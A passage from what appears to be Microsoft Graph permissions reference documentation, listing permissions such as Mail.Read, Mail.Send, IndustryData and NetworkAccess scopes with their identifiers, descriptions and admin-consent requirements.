    DescriptionAllows the app to read all risky service principal information for your organization, without a signed-in user.Allows the app to read all identity risky service principal information for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityRiskyServicePrincipal.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiercb8d6980-6bcb-4507-afec-ed6de3a2d798bb6f654c-d7fd-4ae3-85c3-fc380934f515
    DisplayTextRead and write all identity risky service principal informationRead and write all identity risky service principal information
    DescriptionAllows the app to read and update identity risky service principal for your organization, without a signed-in user.Allows the app to read and update identity risky service principal information for all service principals in your organization, on behalf of the signed-in user. Update operations include dismissing risky service principals.
    AdminConsentRequiredYesYes
    -
    -

    IdentityRiskyUser.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdc5007c0-2d7d-4c42-879c-2dab87571379d04bb851-cb7c-4146-97c7-ca3e71baf56c
    DisplayTextRead all identity risky user informationRead identity risky user information
    DescriptionAllows the app to read the identity risky user information for your organization without a signed in user.Allows the app to read identity risky user information for all users in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityRiskyUser.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier656f6061-f9fe-4807-9708-6a2e0934df76e0a7cdbb-08b0-4697-8264-0069786e9674
    DisplayTextRead and write all risky user informationRead and write risky user information
    DescriptionAllows the app to read and update identity risky user information for your organization without a signed-in user.  Update operations include dismissing risky users.Allows the app to read and update identity risky user information for all users in your organization on behalf of the signed-in user. Update operations include dismissing risky users.
    AdminConsentRequiredYesYes
    -
    -

    IdentityUserFlow.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1b0c317f-dd31-4305-9932-259a8b6e80992903d63d-4611-4d43-99ce-a33f3f52e343
    DisplayTextRead all identity user flowsRead all identity user flows
    DescriptionAllows the app to read your organization's user flows, without a signed-in user.Allows the app to read your organization's user flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityUserFlow.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier65319a09-a2be-469d-8782-f6b07debf789281892cc-4dbf-4e3a-b6cc-b21029bb4e82
    DisplayTextRead and write all identity user flowsRead and write all identity user flows
    DescriptionAllows the app to read or write your organization's user flows, without a signed-in user.Allows the app to read or write your organization's user flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IMAP.AccessAsUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-652390e4-393a-48de-9484-05f9b1212954
    DisplayText-Read and write access to mailboxes via IMAP.
    Description-Allows the app to have the same access to mailboxes as the signed-in user via IMAP protocol.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The IMAP.AccessAsUser.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    IndustryData.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4f5ac95f-62fd-472c-b60f-125d24ca0bc560382b96-1f5e-46ea-a544-0407e489e588
    DisplayTextView basic service and resource informationRead basic Industry Data service and resource definitions
    DescriptionAllows the app to read basic service and resource information without a signed-in user.Allows the app to read basic Industry Data service and resource information on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    IndustryData-DataConnector.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7ab52c2f-a2ee-4d98-9ebc-725e3934aae2d19c0de5-7ecb-4aba-b090-da35ebcd5425
    DisplayTextView data connector definitionsView data connector definitions
    DescriptionAllows the app to read data connectors without a signed-in user.Allows the app to read data connectors on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-DataConnector.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiereda0971c-482e-4345-b28f-69c309cb8a345ce933ac-3997-4280-aed0-cc072e5c062a
    DisplayTextManage data connector definitionsManage data connector definitions
    DescriptionAllows the app to read and write data connectors without a signed-in user.Allows the app to read and write data connectors on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-DataConnector.Upload

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9334c44b-a7c6-4350-8036-6bf8e02b4c1ffc47391d-ab2c-410f-9059-5600f7af660d
    DisplayTextUpload files to a data connectorUpload files to a data connector
    DescriptionAllows the app to upload data files to a data connector without a signed-in user.Allows the app to upload data files to a data connector on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-InboundFlow.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier305f6ba2-049a-4b1b-88bb-fe7e08758a00cb0774da-a605-42af-959c-32f438fb38f4
    DisplayTextView inbound flow definitionsView inbound flow definitions
    DescriptionAllows the app to read inbound data flows without a signed-in user.Allows the app to read inbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-InboundFlow.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere688c61f-d4c6-4d64-a197-3bcf6ba1d6ad97044676-2cec-40ee-bd70-38df444c9e70
    DisplayTextManage inbound flow definitionsManage inbound flow definitions
    DescriptionAllows the app to read and write inbound data flows without a signed-in user.Allows the app to read and write inbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-OutboundFlow.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier61d0354c-5d88-483c-b974-a37ec3395a2c4741a003-8952-4be4-9217-33a0ac327122
    DisplayTextView outbound flow definitionsView outbound flow definitions
    DescriptionAllows the app to read outbound data flows without a signed-in user.Allows the app to read outbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-OutboundFlow.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier24a65b4a-e501-47e2-8849-d679517887f0aeb68e0b-e562-4a1f-b6dd-3484ad0cbb4b
    DisplayTextManage outbound flow definitionsManage outbound flow definitions
    DescriptionAllows the app to read and write outbound data flows without a signed-in user.Allows the app to read and write outbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-ReferenceDefinition.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6ee891c3-74a4-4148-8463-0c834375dfafa3f96ffe-cb84-40a8-ac85-582d7ef97c2a
    DisplayTextView reference definitionsView reference definitions
    DescriptionAllows the app to read reference definitions without a signed-in user.Allows the app to read reference definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-ReferenceDefinition.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbda16293-63d3-45b7-b16b-833841d27d56a757d430-be6d-430f-af57-28aabe79d247
    DisplayTextManage reference definitionsManage reference definitions
    DescriptionAllows the app to read and write reference definitions without a signed-in user.Allows the app to read and write reference definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-Run.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf6f5d10b-3024-4d1d-b674-aae4df4a1a7392685235-50c4-4702-b2c8-36043db6fa79
    DisplayTextView current and previous runsView current and previous runs
    DescriptionAllows the app to read current and previous IndustryData runs without a signed-in user.Allows the app to read current and previous IndustryData runs on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-SourceSystem.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbc167a60-39fe-4865-8b44-78400fc6ed0349b7016c-89ae-41e7-bd6f-b7170c5490bf
    DisplayTextView source system definitionsView source system definitions
    DescriptionAllows the app to read source system definitions without a signed-in user.Allows the app to read source system definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-SourceSystem.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7d866958-e06e-4dd6-91c6-a086b3f5cfeb9599f005-05d6-4ea7-b1b1-4929768af5d0
    DisplayTextManage source system definitionsManage source system definitions
    DescriptionAllows the app to read and write source system definitions without a signed-in user.Allows the app to read and write source system definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-TimePeriod.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7c55c952-b095-4c23-a522-022bce4cc1e3c9d51f28-8ccd-42b2-a836-fd8fe9ebf2ae
    DisplayTextRead time period definitionsRead time period definitions
    DescriptionAllows the app to read time period definitions without a signed-in user.Allows the app to read time period definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IndustryData-TimePeriod.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7afa7744-a782-4a32-b8c2-e3db637e8de7b6d56528-3032-4f9d-830f-5a24a25e6661
    DisplayTextManage time period definitionsManage time period definitions
    DescriptionAllows the app to read and write time period definitions without a signed-in user.Allows the app to read and write time period definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    InformationProtectionConfig.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-12f4bffb-b598-413c-984b-db99728f8b54
    DisplayText-Read configurations for protecting organizational data applicable to the user
    Description-Allows the app to read the configurations applicable to the signed-in user for protecting organizational data, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    InformationProtectionConfig.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier14f49b9f-4bf2-4d24-b80e-b27ec58409bd-
    DisplayTextRead all configurations for protecting organizational data applicable to users-
    DescriptionAllows the app to read all configurations applicable to users for protecting organizational data, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    InformationProtectionContent.Sign.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiercbe6c7e4-09aa-4b8d-b3c3-2dbb59af4b54-
    DisplayTextSign digests for data-
    DescriptionAllows an app to sign digests for data without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    InformationProtectionContent.Write.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier287bd98c-e865-4e8c-bade-1a85523195b9-
    DisplayTextCreate protected content-
    DescriptionAllows the app to create protected content without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    InformationProtectionPolicy.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-4ad84827-5578-4e18-ad7a-86530b12f884
    DisplayText-Read user sensitivity labels and label policies.
    Description-Allows an app to read information protection sensitivity labels and label policy settings, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    InformationProtectionPolicy.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier19da66cb-0fb0-4390-b071-ebc76a349482-
    DisplayTextRead all published labels and label policies for an organization.-
    DescriptionAllows an app to read published sensitivity labels and label policy settings for the entire organization or a specific user, without a signed in user.-
    AdminConsentRequiredYes-
    -
    -

    Insights-UserMetric.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier34cbd96c-d824-4755-90d3-1008ef47efc17d249730-51a3-4180-8ec1-214f144f1bff
    DisplayTextRead all user metrics insightsRead user metrics insights
    DescriptionAllows an app to read all user metrics insights, such as daily and monthly active users, without a signed-in user.Allows an app to read user metrics insights, such as daily and monthly active users, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    LearningAssignedCourse.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ac08cdae-e845-41db-adf9-5899a0ec9ef6
    DisplayText-Read user's assignments
    Description-Allows the app to read data for the learner's assignments in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    LearningAssignedCourse.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier535e6066-2894-49ef-ab33-e2c6d064bb81-
    DisplayTextRead all assignments-
    DescriptionAllows the app to read data for all assignments in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    LearningAssignedCourse.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier236c1cbd-1187-427f-b0f5-b1852454973b-
    DisplayTextRead and write all assignments-
    DescriptionAllows the app to create, update, read and delete all assignments in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    LearningContent.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8740813e-d8aa-4204-860e-2a0f8f84dbc8ea4c1fd9-6a9f-4432-8e5d-86e06cc0da77
    DisplayTextRead all learning contentRead learning content
    DescriptionAllows the app to read all learning content in the organization's directory, without a signed-in user.Allows the app to read learning content in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    LearningContent.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier444d6fcb-b738-41e5-b103-ac4f2a2628a353cec1c4-a65f-4981-9dc1-ad75dbf1c077
    DisplayTextManage all learning contentManage learning content
    DescriptionAllows the app to manage all learning content in the organization's directory, without a signed-in user.Allows the app to manage learning content in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    LearningProvider.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-dd8ce36f-9245-45ea-a99e-8ac398c22861
    DisplayText-Read learning provider
    Description-Allows the app to read data for the learning provider in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    LearningProvider.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-40c2eb57-abaf-49f5-9331-e90fd01f7130
    DisplayText-Manage learning provider
    Description-Allows the app to create, update, read, and delete data for the learning provider in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    LearningSelfInitiatedCourse.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f6403ef7-4a96-47be-a190-69ba274c3f11
    DisplayText-Read user's self-initiated courses
    Description-Allows the app to read data for the learner's self-initiated courses in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    LearningSelfInitiatedCourse.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier467524fc-ed22-4356-a910-af61191e3503-
    DisplayTextRead all self-initiated courses-
    DescriptionAllows the app to read data for all self-initiated courses in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    LearningSelfInitiatedCourse.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7654ed61-8965-4025-846a-0856ec02b5b0-
    DisplayTextRead and write all self-initiated courses-
    DescriptionAllows the app to create, update, read and delete all self-initiated courses in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    LicenseAssignment.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5facf0c1-8979-4e95-abcf-ff3d079771c0f55016cc-149c-447e-8f21-7cf3ec1d6350
    DisplayTextManage all license assignmentsManage all license assignments
    DescriptionAllows an app to manage license assignments for users and groups, without a signed-in user.Allows an app to manage license assignments for users and groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    LifecycleWorkflows.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7c67316a-232a-4b84-be22-cea2c09064049bcb9916-765a-42af-bf77-02282e26b01a
    DisplayTextRead all lifecycle workflows resourcesRead all lifecycle workflows resources
    DescriptionAllows the app to list and read all workflows, tasks and related lifecycle workflows resources without a signed-in user.Allows the app to list and read all workflows, tasks and related lifecycle workflows resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    LifecycleWorkflows.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5c505cf4-8424-4b8e-aa14-ee06e3bb23e384b9d731-7db8-4454-8c90-fd9e95350179
    DisplayTextRead and write all lifecycle workflows resourcesRead and write all lifecycle workflows resources
    DescriptionAllows the app to create, update, list, read and delete all workflows, tasks and related lifecycle workflows resources without a signed-in user.Allows the app to create, update, list, read and delete all workflows, tasks and related lifecycle workflows resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ListItems.SelectedOperations.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierde4e4161-a10a-4dfd-809c-e328d89aefebd6d361b3-211a-4191-9fa7-15f72de4aac4
    DisplayTextAccess selected ListItems without a signed in user.Access selected ListItems, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of listitems without a signed in user. The specific listitems and the permissions granted will be configured in SharePoint Online.Allow the application to access a subset of listitems on behalf of the signed in user. The specific listitems and the permissions granted will be configured in SharePoint Online.
    AdminConsentRequiredYesYes
    -
    -

    Lists.SelectedOperations.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier23c5a9bd-d900-4ecf-be26-a0689755d9e5033b51ee-d6fa-4add-b627-ee680c7212b5
    DisplayTextAccess selected Lists without a signed in user.Access selected Lists, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of lists without a signed in user. The specific lists and the permissions granted will be configured in SharePoint Online.Allow the application to access a subset of lists on behalf of the signed in user. The specific lists and the permissions granted will be configured in SharePoint Online.
    AdminConsentRequiredYesYes
    -
    -

    Mail.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier810c84a8-4a9e-49e6-bf7d-12d183f40d01570282fd-fa5c-430d-a7fd-fc8dc98a9dca
    DisplayTextRead mail in all mailboxesRead user mail
    DescriptionAllows the app to read mail in all mailboxes without a signed-in user.Allows the app to read the signed-in user's mailbox.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Mail.Read delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.Read application permission.

    -

    Mail.Read is valid valid for both Microsoft accounts and work or school accounts.

    -
    -

    Mail.Read.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-7b9103a5-4610-446b-9670-80643382c1fa
    DisplayText-Read user and shared mail
    Description-Allows the app to read mail a user can access, including their own and shared mail.
    AdminConsentRequired-No
    - -

    Mail.Read.Shared is only valid for work or school accounts.

    -
    -

    Mail.ReadBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6be147d2-ea4f-4b5a-a3fa-3eab6f3c140aa4b8392a-d8d1-4954-a029-8e668a39a170
    DisplayTextRead basic mail in all mailboxesRead user basic mail
    DescriptionAllows the app to read basic mail properties in all mailboxes without a signed-in user. Includes all properties except body, previewBody, attachments and any extended properties.Allows the app to read email in the signed-in user's mailbox except body, previewBody, attachments and any extended properties.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Mail.ReadBasic delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Mail.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier693c5e45-0940-467d-9b8a-1022fb9d42ef-
    DisplayTextRead basic mail in all mailboxes-
    DescriptionAllows the app to read basic mail properties in all mailboxes without a signed-in user. Includes all properties except body, previewBody, attachments and any extended properties.-
    AdminConsentRequiredYes-
    -
    -

    Mail.ReadBasic.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-b11fa0e7-fdb7-4dc9-b1f1-59facd463480
    DisplayText-Read user and shared basic mail
    Description-Allows the app to read mail the signed-in user can access, including their own and shared mail, except for body, bodyPreview, uniqueBody, attachments, extensions, and any extended properties.
    AdminConsentRequired-No
    -
    -

    Mail.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere2a3a72e-5f79-4c64-b1b1-878b674786c9024d486e-b451-40bb-833d-3e66d98c5c73
    DisplayTextRead and write mail in all mailboxesRead and write access to user mail
    DescriptionAllows the app to create, read, update, and delete mail in all mailboxes without a signed-in user. Does not include permission to send mail.Allows the app to create, read, update, and delete email in user mailboxes. Does not include permission to send mail.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Mail.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.ReadWrite application permission.

    -

    Mail.ReadWrite is valid valid for both Microsoft accounts and work or school accounts.

    -
    -

    Mail.ReadWrite.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5df07973-7d5d-46ed-9847-1271055cbd51
    DisplayText-Read and write user and shared mail
    Description-Allows the app to create, read, update, and delete mail a user has permission to access, including their own and shared mail. Does not include permission to send mail.
    AdminConsentRequired-No
    - -

    Mail.ReadWrite.Shared is only valid for work or school accounts.

    -
    -

    Mail.Send

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb633e1c5-b582-4048-a93e-9f11b44c7e96e383f46e-2787-4529-855e-0e479a3ffac0
    DisplayTextSend mail as any userSend mail as a user
    DescriptionAllows the app to send mail as any user without a signed-in user.Allows the app to send mail as users in the organization.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Mail.Send delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.Send application permission.

    -

    Mail.Send is valid valid for both Microsoft accounts and work or school accounts.

    -

    With the Mail.Send permission, an app can send mail and save a copy to the user's Sent Items folder, even if the app isn't granted the Mail.ReadWrite or Mail.ReadWrite.Shared permission.

    -
    -

    Mail.Send.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-a367ab51-6b49-43bf-a716-a1fb06d2a174
    DisplayText-Send mail on behalf of others
    Description-Allows the app to send mail as the signed-in user, including sending on-behalf of others.
    AdminConsentRequired-No
    - -

    Mail.Send.Shared is only valid for work or school accounts.

    -

    With the Mail.Send.Shared permission, an app can send mail and save a copy to the user's Sent Items folder, even if the app isn't granted the Mail.ReadWrite or Mail.ReadWrite.Shared permission.

    -
    -

    MailboxSettings.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier40f97065-369a-49f4-947c-6a255697ae9187f447af-9fa4-4c32-9dfa-4a57a73d18ce
    DisplayTextRead all user mailbox settingsRead user mailbox settings
    DescriptionAllows the app to read user's mailbox settings without a signed-in user. Does not include permission to send mail.Allows the app to the read user's mailbox settings. Does not include permission to send mail.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The MailboxSettings.Read delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the MailboxSettings.Read application permission.

    -

    MailboxSettings.Read is valid valid for both Microsoft accounts and work or school accounts.

    -
    -

    MailboxSettings.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6931bccd-447a-43d1-b442-00a195474933818c620a-27a9-40bd-a6a5-d96f7d610b4b
    DisplayTextRead and write all user mailbox settingsRead and write user mailbox settings
    DescriptionAllows the app to create, read, update, and delete user's mailbox settings without a signed-in user. Does not include permission to send mail.Allows the app to create, read, update, and delete user's mailbox settings. Does not include permission to send mail.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The MailboxSettings.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    - -

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the MailboxSettings.ReadWrite application permission.

    -

    MailboxSettings.ReadWrite is valid valid for both Microsoft accounts and work or school accounts.

    -
    -

    ManagedTenants.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-dc34164e-6c4a-41a0-be89-3ae2fbad7cd3
    DisplayText-Read all managed tenant information
    Description-Allows the app to read all managed tenant information on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    ManagedTenants.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-b31fa710-c9b3-4d9e-8f5e-8036eecddab9
    DisplayText-Read and write all managed tenant information
    Description-Allows the app to read and write all managed tenant information on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    Member.Read.Hidden

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier658aa5d8-239f-45c4-aa12-864f4fc7e490f6a3db3e-f7e8-4ed2-a414-557c8c9830be
    DisplayTextRead all hidden membershipsRead hidden memberships
    DescriptionAllows the app to read the memberships of hidden groups and administrative units without a signed-in user.Allows the app to read the memberships of hidden groups and administrative units on behalf of the signed-in user, for those hidden groups and administrative units that the signed-in user has access to.
    AdminConsentRequiredYesYes
    -
    -

    MultiTenantOrganization.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4f994bc0-31bb-44bb-b480-7a7c1be8c02e526aa72a-5878-49fe-bf4e-357973af9b06
    DisplayTextRead all multi-tenant organization details and tenantsRead multi-tenant organization details and tenants
    DescriptionAllows the app to read all multi-tenant organization details and tenants, without a signed-in user.Allows the app to read multi-tenant organization details and tenants on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    MultiTenantOrganization.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf9c2b2a7-3895-4b2e-80f6-c924b456e50b225db56b-15b2-4daa-acb3-0eec2bbe4849
    DisplayTextRead multi-tenant organization basic details and active tenantsRead multi-tenant organization basic details and active tenants
    DescriptionAllows the app to read multi-tenant organization basic details and active tenants, without a signed-in user.Allows the app to read multi-tenant organization basic details and active tenants on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    MultiTenantOrganization.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier920def01-ca61-4d2d-b3df-105b46046a7077af1528-84f3-4023-8d90-d219cd433108
    DisplayTextRead and write all multi-tenant organization details and tenantsRead and write multi-tenant organization details and tenants
    DescriptionAllows the app to read and write all multi-tenant organization details and tenants, without a signed-in user.Allows the app to read and write multi-tenant organization details and tenants on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    NetworkAccess.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere30060de-caa5-4331-99d3-6ac6c966a9a42f7013e0-ab4e-447f-a5e1-5d419950692d
    DisplayTextRead all network access informationRead all network access information
    DescriptionAllows the app to read all network access information and configuration settings without a signed-in user.Allows the app to read all network access information on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    NetworkAccess.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb10642fc-a6cf-4c46-87f9-e1f96c2a18aaae2df9c5-f18d-4ec4-a51b-bdeb807f177b
    DisplayTextRead and write all network access informationRead and write all network access information
    DescriptionAllows the app to read and write all network access information and configuration settings without a signed-in user.Allows the app to read and write all network access information and configuration settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    NetworkAccessBranch.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier39ae4a24-1ef0-49e8-9d63-2a66f5c39edd4051c7fc-b429-4804-8d80-8f1f8c24a6f7
    DisplayTextRead properties of all branches for network accessRead properties of branches for network access
    DescriptionAllows the app to read your organization's network access branches, without a signed-in user.Allows the app to read your organization's branches for network access on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    NetworkAccessBranch.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
